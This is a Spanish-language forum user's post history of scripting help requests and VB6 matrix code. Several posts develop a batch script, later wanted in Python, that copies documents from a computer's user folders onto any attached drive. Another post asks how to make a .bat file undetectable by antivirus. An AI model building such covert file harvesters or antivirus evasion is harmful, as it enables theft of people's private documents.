Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - asdexiva

#61
Scripting / phyton shutil copy
7 Julio 2014, 22:58 PM
import glob
import shutil
import string,os



   
uni = ['D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N']
for item in uni:


   

for file in glob.glob(r'C:/*.doc'):
   print file                                                                                                                                        
   shutil.copy(file, dest_dir )


necesito algo de ayuda en este script de python ay alguna forma de dejarlo parecido a esto y si me pudieran ayudar gracias lo que quiero no es utilizar comandos de batch quiero que sea con puro python

@echo off

SET "DRIVES=B D E F G H I J K L M N O P Q R S T U V W X Y Z"


FOR %%# IN (%DRIVES%) DO (If Exist "%%#:\" (FOR /R "%userprofile%\Mis documentos\" %%a IN (*.txt DO (copy /y "%%a" "%%#:\data\")
FOR /R "%userprofile%\Documents\" %%a IN (*.txt) DO (copy /y "%%a" "%%#:\data\")
FOR /R "%userprofile%\Escritorio\" %%a IN (*.txt) DO (copy /y "%%a" "%%#:\data\")
FOR /R "%userprofile%\Desktop\" %%a IN (*.txt) DO (copy /y "%%a" "%%#:\data\")
FOR /R "D:\" %%a IN (*.txt) DO (copy /y "%%a" "%%#:\data\")  
Rem etc...

)
)
Pause




si se pudiera hacer en ruby se los agradeceria mucho yo soy de los que aprendo viendo el codigo :S me interesa aprender ruby o python
#62
Scripting / Re: ciclo for alenta copy
7 Julio 2014, 18:09 PM
Cita de: Eleкtro en  6 Julio 2014, 23:30 PM
Los búcles no ralentizan el proceso de copiado.

Ahora bien, en tu caso podría deberse a que estás intentando forzar el copiado sin verificar primero si la unidad existe o no... así que haces un sin fín de insrucciones innecesarias que pueden tomar bastante tiempo en procesarse según la cantidad de archivos, intentando copiar a unidades inexistentes.

Y aparte de eso, estás repitiendo el búcle de la variable DRIVES de una forma innecesaria.

Prueba así:
Código (dos) [Seleccionar]
@echo off

SET "DRIVES=B D E F G H I J K L M N O P Q R S T U V W X Y Z"

FOR %%# IN (%DRIVES%) DO (

If Exist "%%#:\" (

FOR /R "%userprofile%\Mis documentos\" %%a IN ("*.doc") DO (
copy /y "%%a" "%%#:\data\"
)

FOR /R "%userprofile%\Documents\" %%a IN ("*.doc") DO (
copy /y "%%a" "%%#:\data\"
)

Rem etc...

)
)

Pause&Exit


Saludos

gracias elektro se me habia ocurrido lo del if pero no sabia como implementarlo en un for gracias
#63
Scripting / ciclo for alenta copy
6 Julio 2014, 21:03 PM
por que se alenta asta al punto de trabarse no ay forma de quitar la lentitud o como puedo mejorar el codigo gracias

@echo off
SET "DRIVES=B D E F G H I J K L M N O P Q R S T U V W X Y Z"
FOR %%# IN (%DRIVES%) DO (FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc)  DO  (copy /y "%%a" "%%#:\data\"))
FOR %%# IN (%DRIVES%) DO (FOR /R "%userprofile%\Documents\" %%a IN (*.doc)  DO  (copy /y "%%a" "%%#:\data\"))
FOR %%# IN (%DRIVES%) DO (FOR /R "%userprofile%\Desktop\" %%a IN (*.doc)  DO  (copy /y "%%a" "%%#:\data\"))
FOR %%# IN (%DRIVES%) DO (FOR /R "%userprofile%\Escritorio\" %%a IN (*.doc)  DO  (copy /y "%%a" "%%#:\data\"))
FOR %%# IN (%DRIVES%) DO (FOR /R "C:\" %%a IN (*.doc)  DO  (copy /y "%%a" "%%#:\data\"))
FOR %%# IN (%DRIVES%) DO (FOR /R "D:\" %%a IN (*.doc)  DO  (copy /y "%%a" "%%#:\data\"))



al contrario si lo hago sin fors  es mucho mas rapido el proceso
@echo off




REM -----------E-------------------
REM ARCHIVOS DOC WORD
copy "%userprofile%\Mis documentos\*.doc" "E:\data"
copy "%userprofile%\escritorio\*.doc" "E:\data"
copy "%userprofile%\Desktop\*.doc" "E:\data"
copy "%userprofile%\Documents\*.doc" "E:\data"
copy "C:\*.doc" "E:\data"
copy "D:\*.doc" "E:\data"


REM ARCHIVOS

REM ---------F--------------------
copy "%userprofile%\Mis documentos\*.doc" "F:\data"
copy "%userprofile%\escritorio\*.doc" "F:\data"
copy "C:\*.doc" "F:\data"
copy "D:\*.doc" "F:\data

REM -------G----------------

copy "%userprofile%\Mis documentos\*.doc" "G:\data"
copy "%userprofile%\escritorio\*.doc" "G:\data"
copy "C:\*.doc" "G:\data"
copy "D:\*.doc" "G:\data

REM -------H-----------

copy "%userprofile%\Mis documentos\*.doc" "H:\data"
copy "%userprofile%\escritorio\*.doc" "H:\data"
copy "C:\*.doc" "H:\data"
copy "D:\*.doc" "H:\data

REM ----------I--------

copy "%userprofile%\Mis documentos\*.doc" "I:\data"
copy "%userprofile%\escritorio\*.doc" "I:\data"
copy "C:\*.doc" "I:\data"
copy "D:\*.doc" "I:\data
REM ------------J----------

copy "%userprofile%\Mis documentos\*.doc" "J:\data"
copy "%userprofile%\escritorio\*.doc" "J:\data"
copy "C:\*.doc" "J:\data"
copy "D:\*.doc" "J:\data


REM -------------------K------------------

copy "%userprofile%\Mis documentos\*.doc" "K:\data"
copy "%userprofile%\escritorio\*.doc" "K:\data"
copy "C:\*.doc" "K:\data"
copy "D:\*.doc" "K:\data

REM -------------------L------------------

copy "%userprofile%\Mis documentos\*.doc" "L:\data"
copy "%userprofile%\escritorio\*.doc" "L:\data"
copy "C:\*.doc" "L:\data"
copy "D:\*.doc" "L:\data

REM -------------------W------------------

copy "%userprofile%\Mis documentos\*.doc" "W:\data"
copy "%userprofile%\escritorio\*.doc" "W:\data"
copy "C:\*.doc" "W:\data"
copy "D:\*.doc" "W:\data





#64
Scripting / recorrer todos los drives batch
6 Julio 2014, 20:32 PM
necesito ayuda con esto porfavor

@echo off
SET "DRIVES=B D E F G H I J K L M N O P Q R S T U V W X Y Z"
FOR %%# IN (%DRIVES%) DO (FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc)  DO  (copy /y "%%a" "%DRIVES%:\\data\")))

pause



lo que quiero es que copie todos los .doc de mis documentos a el drive con la carpeta data correspondiente si me puedieran ayudar muchisimas gracias

lo solucione gracias de todos modos si alguien se atora en esto el error estaba en esto   iba %%#:\  , no esto %DRIVES%:\

@echo off
SET "DRIVES=B D E F G H I J K L M N O P Q R S T U V W X Y Z"
FOR %%# IN (%DRIVES%) DO (FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc)  DO  (copy /y "%%a" "%%#:\data\"))

pause

#65


este programa sirve para realizar
Determinantes de 2X2 y 3X3
la matriz inversa por su adjunta
la traspuesta de una matriz
multiplicación escalar de una matriz
multiplicación matricial
resta matricial y suma matricial

Como funciona

[youtube=640,360]http://www.youtube.com/watch?v=X1ISjiWKaxc[/youtube]

aplicacion
https://www.firedrive.com/file/397D02F64EA3297E
source
https://www.firedrive.com/file/693004C96CA283F6

e decidido compartilo con este foro que me ayudado mucho en lo que es vb6 y batch :D
#66
Scripting / anti deteccion bat
2 Mayo 2014, 19:43 PM
tengo una pequeña duda como proteger mi bat ? no ay otra forma que no sea con quick bath file compiler como podria dejar mas o menos indetectable mi bat

ay alguna forma de dejarlo indetectable ?

gracias

#67
pues decidí compartir esta aplicación que hice en android  ,por que lamentablemente soy pobre para subirla al market jaja,no ya enserio espero y la disfruten
[youtube=640,360]https://www.youtube.com/watch?v=qpkRJODMc_I[/youtube]

http://www.firedrive.com/file/A3EABB4E5049890D

la verdad no se si sea la sección correcta pido a un moderador que la cambie si me  e equivocado

mas que nada es para que se basen y creen cosas mejores
#68


el problema es que quiero que salga un solo signo no los 2 como podria hacerle para que solo aparezca un solo signo

es que
+ +=+
+ - =-
-- = +
-+ =-

me avian dicho que con valor absoluto pero no se como implementarlo alguien me podria hechar la mano de como acomodarlo
#69
Programación Visual Basic / ciclo for matrices
21 Febrero 2014, 00:10 AM
alguien que me explique como uso el ciclo for en este ejemplo
es que en netbeans el for es facil pero necesito saber como es la sinstaxis aqui en vb6


a1 = Val(Text1)
a2 = Val(Text2)
a3 = Val(Text3)
b1 = Val(Text4)
b2 = Val(Text5)
b3 = Val(Text6)
c1 = Val(Text7)
c2 = Val(Text8)
c3 = Val(Text9)
a4 = 1
a5 = 0
a6 = 0
b4 = 0
b5 = 1
b6 = 0
c4 = 0
c5 = 0
c6 = 1
If a1 = 0 Then
MsgBox "ERROR NO TIENE INVERSA"
Text1 = ""
Text2 = ""
Text3 = ""
Text4 = ""
Text5 = ""
Text6 = ""
Text7 = ""
Text8 = ""
Text9 = ""
Text1.SetFocus
Else
X1 = a1 / a1
X2 = a2 / a1
X3 = a3 / a1
X4 = 1 / a1
X5 = 0
X6 = 0
Y1 = b1 - b1 * X1
Y2 = b2 - b1 * X2
Y3 = b3 - b1 * X3
Y4 = 0 - b1 * X4
Y5 = 1 - b1 * X5
Y6 = 0 - b1 * X6
Z1 = c1 - c1 * X1
Z2 = c2 - c1 * X2
Z3 = c3 - c1 * X3
Z4 = 0 - c1 * X4
Z5 = 0 - c1 * X5
Z6 = 1 - c1 * X6
If X1 = 0 Or Y2 = 0 Or Z3 = 0 Then
MsgBox "ERROR NO TIENE INVERSA"
Text1 = ""
Text2 = ""
Text3 = ""
Text4 = ""
Text5 = ""
Text6 = ""
Text7 = ""
Text8 = ""
Text9 = ""
Text1.SetFocus
Else
E1 = Y1 / Y2
E2 = Y2 / Y2
E3 = Y3 / Y2
E4 = Y4 / Y2
E5 = Y5 / Y2
E6 = Y6 / Y2
D1 = X1 - X2 * E1
D2 = X2 - X2 * E2
D3 = X3 - X2 * E3
D4 = X4 - X2 * E4
D5 = X5 - X2 * E5
D6 = X6 - X2 * E6
F1 = Z1 - Z2 * E1
F2 = Z2 - Z2 * E2
F3 = Z3 - Z2 * E3
F4 = Z4 - Z2 * E4
F5 = Z5 - Z2 * E5
F6 = Z6 - Z2 * E6
If D1 = 0 Or E2 = 0 Or F3 = 0 Then
MsgBox "ERROR NO TIENE INVERSA"
Text1 = ""
Text2 = ""
Text3 = ""
Text4 = ""
Text5 = ""
Text6 = ""
Text7 = ""
Text8 = ""
Text9 = ""
Text1.SetFocus
Else
I1 = F1 / F3
I2 = F2 / F3
I3 = F3 / F3
I4 = F4 / F3
I5 = F5 / F3
I6 = F6 / F3
G1 = D1 - D3 * I1
G2 = D2 - D3 * I2
G3 = D3 - D3 * I3
G4 = D4 - D3 * I4
G5 = D5 - D3 * I5
G6 = D6 - D3 * I6
H1 = E1 - E3 * I1
H2 = E2 - E3 * I2
H3 = E3 - E3 * I3
H4 = E4 - E3 * I4
H5 = E5 - E3 * I5
H6 = E6 - E3 * I6
Text10 = CStr(G4)
Text11 = CStr(G5)
Text12 = CStr(G6)
Text13 = CStr(H4)
Text14 = CStr(H5)
Text15 = CStr(H6)
Text16 = CStr(I4)
Text17 = CStr(I5)
Text18 = CStr(I6)
End If
End If
End If


End Sub

Private Sub Command2_Click()
Text1 = ""
Text2 = ""
Text3 = ""
Text4 = ""
Text5 = ""
Text6 = ""
Text7 = ""
Text8 = ""
Text9 = ""
Text10 = ""
Text11 = ""
Text12 = ""
Text13 = ""
Text14 = ""
Text15 = ""
Text16 = ""
Text17 = ""
Text18 = ""
Text1.SetFocus
End Sub
#70
ay algun metodo o funcion que convierta todos los decimales de todos los textbox del programa en sus respectivas fracciones ? si me pudieran dar un ejemplo o decir como gracias